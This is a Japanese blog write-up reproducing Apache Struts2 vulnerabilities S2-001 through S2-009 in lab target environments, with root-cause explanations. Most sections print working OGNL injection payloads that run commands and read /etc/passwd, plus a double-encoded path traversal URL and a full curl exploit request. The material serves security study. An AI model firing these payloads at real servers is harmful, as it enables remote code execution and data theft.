banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Struts2の全バージョンの脆弱性利用再現(長期更新)

事情の発端#

ターゲット環境でStruts2の脆弱性利用ツールに慣れる

注意:単にツールを使用するだけでは脆弱性の理解は深まりません。脆弱性の原理を理解することが重要です。

ツールの列挙#

HatBoy氏のStruts2-Scan、あるS2-001ターゲット環境を例に:

image

鬼哥のstruts2(CVE-2013-2251)脆弱性検出ツール(90sec.org)、同様にあるS2-001ターゲット環境を例に:

image

Lucifer1993が書いたstruts-scanwindowsで実行すると文字化け、あるS2-004ターゲット環境を例に:

image

K8チームのK8_Struts2_EXP、ここではあるS2-005ターゲット環境を例に:

image

K8チームのツールの解凍パスワードはk8gegek8teamK8teamのいずれか

天融信のツール、ここではあるS2-005ターゲット環境を例に:

image

lz520520氏のツールrailgun、ここではある `` ターゲット環境を例に:

最も一般的なSrtuts2 脆弱性チェックツール2018版 V2.0 by 安恒応急対応センター 20180824、ここではある `` ターゲット環境を例に:

S2-001#

脆弱性の原因:

この脆弱性は、ユーザーがフォームデータを送信し、検証に失敗した場合、バックエンドがユーザーが以前に送信したパラメータ値を OGNL 式 %{value} を使用して解析し、再度対応するフォームデータに充填するために発生します。例えば、登録またはログインページでは、送信に失敗した場合、バックエンドは一般的に以前に送信されたデータをデフォルトで返します。バックエンドが %{value} を使用して送信されたデータに OGNL 式解析を実行したため、ペイロードを直接構築してコマンド実行が可能です。

ターゲット環境の正常な状態:

image

password のところに %{1+1} を入力し、ログインをクリックすると、エラーが返され、解析結果が 2 になったことが確認でき、脆弱性が存在することが証明されます。

tomcat の実行パスを取得:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image

Web パスを取得:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image

コマンドを実行:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image

コマンドにパラメータを追加:new java.lang.String[]{"cat","/etc/passwd"}

flagを取得

image

S2-004#

ディレクトリトラバーサル脆弱性

脆弱性の紹介:

Struts2 Dispatcher Logic by Design は、リクエスト URI の Web アプリケーションクラスパス内の特定の静的リソースを提供することを許可します。リクエスト URI のコンテキスト関連パスは「/struts/」で始まります。filterDispatcher(2.0 で)および defaultStaticContentLoader(2.1 で)にはセキュリティの脆弱性があり、攻撃者は二重エンコードされた URL と相対パスを使用してディレクトリ構造をトラバースし、「static」コンテンツフォルダの外のファイルをダウンロードすることができます。
これはファイルトラバーサルの脆弱性が存在することを示しており、相対パスのトラバーサルは../../../ の方法ですが、二重エンコードが必要なので、../ を二回 URL エンコードして..%252f にする必要があります。

ターゲット環境の実践:

image

ヒントに従い、keyshowcase.jspというページにあり、ディレクトリトラバーサルを通じてkeyを取得:

URL/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp

image

S2-005#

リモートコード実行脆弱性、脆弱性番号:CVE-2010-1870
影響バージョン: 2.0.0 - 2.1.8.1

原理(参考:吴翰清の『白帽子が語る Web セキュリティ』)

s2-005 脆弱性の起源は S2-003(影響バージョン:Struts 2.0.12 未満)にあります。struts2 は http の各パラメータ名を OGNL 文として解析して実行します(Java コードとして理解できます)。OGNL 式は #を使用して struts のオブジェクトにアクセスし、struts フレームワークは #文字をフィルタリングしてセキュリティ問題を防ぎます。しかし、unicode エンコード(\u0023)や 8 進数(\43)を使用することでセキュリティ制限を回避しました。S2-003 脆弱性について、公式はセキュリティ設定を追加(静的メソッド呼び出しやクラスメソッド実行を禁止)して修正しましたが、セキュリティ設定が回避され、再び脆弱性が発生しました。攻撃者は OGNL 式を利用してこれら 2 つのオプションを有効にし、S2-003 の修正方法は自らにロックをかけましたが、鍵をロックの頭に挿入したのです。

XWorkGETパラメータのキーと値を OGNL 式で Java 文に解析します。例えば:user.address.city=Bishkek&user['favoriteDrink']=kumysは次のように変換されます。

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

脆弱性を引き起こすのはこの点を利用し、OGNL のサンドボックス回避方法と組み合わせてS2-003を構成しました。公式は003の修正方法としてセキュリティモード(サンドボックス)を追加しましたが、S2-005は OGNL 式内でセキュリティモードを無効にし、修正方法を回避しました。全体のプロセスは次の通りです:

S2-003は\u0023を使用してs2の#防御を回避
S2-003後、公式はセキュリティモード(サンドボックス)を追加
S2-005はOGNL式でサンドボックスを無効にし、コードを実行し続ける

ターゲット環境の実践:

インターフェースはかなり見栄えが良い:

image

無回音POC

action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

大まかに理解すると、(aaa)(bbb) の中で aaa は OGNL 式の文字列、bbb はその式のルートオブジェクトとして機能します。したがって、一般的に aaa の位置でコードを実行する必要がある場合は、引用符で囲む必要がありますが、bbb の位置には Java 文を直接置くことができます。(aaa)(bbb)=true は実際には aaa=true です。ただし、正確にどう理解するかはさらに研究が必要で、最適化の余地があります。

POC を tomcat8 に置くと 400 が返されます。調査したところ、文字 \、" は直接 path に置けず、urlencode が必要で、エンコード後に送信すれば大丈夫です。この POC は無回音です。

何度も試みたがうまくいかず、機会があれば再挑戦するが、ここでは既存のツールを使用する。

k8のコマンド実行:

image

S2-007#

脆弱性の種類:リモートコード実行脆弱性
脆弱性の原因:検証ルール-validation.xml が設定されている場合、型検証変換にエラーが発生すると、バックエンドはデフォルトでユーザーが送信したフォーム値を文字列結合し、OGNL 式解析を実行して返します。成功裏に利用するには、類似の検証ルールが設定されたフォームフィールドを見つけて変換エラーを引き起こし、SQLi 注入の単一引用符結合の方法を利用して任意の OGNL 式を注入すればよいです。一般的にはフォームに現れます
影響バージョン: 2.0.0 - 2.2.3

ターゲット環境の再現:

image

年齢に非数字タイプを入力してログインをクリック

image

image

年齢ボックスの value が 11 に変わり、脆弱性が存在することが証明され、任意コードの EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls ../').getInputStream())) + '

コマンドを実行後、見えにくい場合はctrl+Uでソースコードを確認し、最終的なコマンドはcat ../../../key.txtkeyを取得:

image

S2-008#

脆弱性の種類:リモートコード実行脆弱性
影響バージョン:2.1.0 - 2.3.1
脆弱性の原理:

S2-008 は複数の脆弱性に関与しており、Cookie インターセプターの誤った設定により OGNL 式が実行される可能性がありますが、大多数の Web コンテナ(Tomcat など)は Cookie 名に文字制限があり、一部の重要な文字を使用できないため、この点はあまり実用的ではありません。もう一つのあまり実用的でない点は、struts2 アプリケーションが devMode モードを有効にすると、オブジェクト情報を直接確認したり、コマンドを直接実行できる複数のデバッグインターフェースが存在することです。kxlzx が指摘したように、この状況は本番環境ではほとんど存在しないため、非常に実用的ではありませんが、絶対的ではないと思います。万が一ハッキングされ、デバッグモードが有効なアプリケーションがサーバーにバックドアとして置かれる可能性もあります。例えば、devMode モードで直接パラメータを追加し、?debug=command&expression=を使用すると、後ろの OGNL 式が直接実行されるため、コマンドを直接実行できます(エスケープに注意):

action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22[コマンド]%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

コマンドを変更することで結果ファイルを得ることができ、メモ帳で開いて確認できます。

ターゲット環境の再現:

直接cat ../../../key.txtで確認(注意:毎回コマンドを実行した後はキャッシュをクリアする必要があり、毎回コマンドを実行するたびにプライベートウィンドウを使用することをお勧めします):

image

S2-009#

脆弱性の種類:リモートコード実行脆弱性
影響バージョン:2.1.0 - 2.3.1.1
脆弱性の原理:

Struts2 は s2-003 の修正方法として #を禁止しましたが、s2-005 は \u0023 や \43 を使用して回避しました。そのため、Struts2 は s2-005 の修正方法として \ などの特殊記号を禁止し、ユーザーがバックスラッシュを送信できないようにしました。

しかし、現在のアクションで特定のパラメータ example を受け取った場合、このパラメータは OGNL のコンテキストに入ります。したがって、OGNL 式を example パラメータに置き、その後 /helloword.acton?example=&(example)('xxx')=1 の方法を使用して実行することで、公式の #、\ などの特殊文字に対する防御を回避できます。

pocは次の通り:

age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[コマンド]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

POST方式で送信する必要があります。

ターゲット環境の再現:

image

脆弱性が存在するインターフェースは第 5 の:/ajax/example5.actionで、HackBarPOST方式でlsを実行:

image

成功しなかったので、burpsuiteに切り替え:

image

試みても無果、最後にcurlコマンドラインツールを使用して直接送信し、結果をファイルに保存:

curl -X POST "http://xxx.xxx.xxx.xxx:yyyyy/ajax/example5.action" -d "age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]" --output a.txt

image

lsコマンドをcat key.txtに変更すればflagを得ることができます:

image

まとめ#

特にありません。

参考記事:

この記事は完結です。(冗談です)

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。